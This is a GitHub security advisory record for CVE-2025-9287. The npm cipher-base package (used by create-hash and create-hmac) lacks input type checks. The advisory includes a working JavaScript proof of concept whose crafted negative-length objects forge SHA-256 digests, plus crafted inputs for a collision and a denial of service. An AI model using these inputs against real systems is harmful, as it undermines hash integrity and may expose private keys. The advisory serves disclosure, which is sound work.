{"id":"GHSA-cpq7-6gpm-g9rc","summary":"cipher-base is missing type checks, leading to hash rewind and passing on crafted data","details":"### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = createHash('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) =\u003e JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength","aliases":["CVE-2025-9287"],"modified":"2026-07-17T21:13:04.030807718Z","published":"2025-08-21T14:47:35Z","database_specific":{"cwe_ids":["CWE-20"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-08-21T14:47:35Z","nvd_published_at":"2025-08-20T22:15:30Z"},"references":[{"type":"WEB","url":"https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9287"},{"type":"WEB","url":"https://github.com/browserify/cipher-base/pull/23"},{"type":"WEB","url":"https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294"},{"type":"PACKAGE","url":"https://github.com/browserify/cipher-base"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html"}],"affected":[{"package":{"name":"cipher-base","ecosystem":"npm","purl":"pkg:npm/cipher-base"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.5"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.0.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-cpq7-6gpm-g9rc/GHSA-cpq7-6gpm-g9rc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"}]}